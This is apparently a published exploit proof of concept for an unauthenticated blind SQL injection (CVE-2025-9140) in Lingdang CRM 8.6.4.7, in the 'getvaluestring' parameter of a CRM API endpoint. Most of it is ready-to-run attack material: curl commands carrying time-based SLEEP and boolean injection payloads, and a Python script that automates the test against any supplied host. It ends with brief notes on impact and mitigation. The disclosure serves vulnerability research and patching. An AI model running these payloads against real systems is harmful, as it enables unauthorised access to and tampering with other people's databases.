# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection
# Google Dork: N/A
# Date: 2025-08-19
# Exploit Author: Beatriz Fresno Naumova
# Vendor: Shanghai Lingdang Information Technology)
# Software Link: (N/A – commercial product)
# Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory)
# Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency)
# CVE : CVE-2025-9140
# Summary
# The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the
# 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based
# blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+.
# Route
# /crm/crmapi/erp/tabdetail_moduleSave.php
# Parameter
# getvaluestring (GET or POST)
# Notes
# * This PoC does NOT target a live site. Replace TARGET with a lab host you own.
# * Demonstrates time-based blind (SLEEP) and boolean-based payloads.
# --- Quick PoC with curl (time-based blind) ---
# Expect ~5s response delay on vulnerable targets.
# GET variant:
curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-"
# POST variant:
curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \
--data "getvaluestring='||(SELECT SLEEP(5))--+-"
# --- Boolean-based example (response/body differences may vary by deployment) ---
curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html
curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html
# Compare /tmp/true.html vs /tmp/false.html for observable differences.
# --- Python 3 PoC (time-based) ---
# Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http://TARGET
import sys, time, requests
def test_time_sqli(base):
url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php"
payload = "'||(SELECT SLEEP(5))--+-"
try:
t0 = time.time()
r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False)
dt = time.time() - t0
print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s")
if dt >= 5:
print("[+] Likely vulnerable to time-based SQLi via GET.")
else:
print("[-] No significant delay observed via GET.")
except Exception as e:
print(f"[!] GET error: {e}")
try:
t0 = time.time()
r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False)
dt = time.time() - t0
print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s")
if dt >= 5:
print("[+] Likely vulnerable to time-based SQLi via POST.")
else:
print("[-] No significant delay observed via POST.")
except Exception as e:
print(f"[!] POST error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} http://TARGET")
sys.exit(1)
requests.packages.urllib3.disable_warnings()
test_time_sqli(sys.argv[1])
# --- Impact ---
# Confidentiality, integrity, availability compromise via SQL injection (CWE-89).
# --- Mitigations ---
# 1) Use parameterized queries / prepared statements for getvaluestring.
# 2) Server-side input validation and allow-listing for the parameter.
# 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route.
# --- Disclosure ---
# Public identifiers: CVE-2025-9140 (VulDB VDB-320520).
# Vendor reportedly fixed in 8.6.5+ with parameterized queries.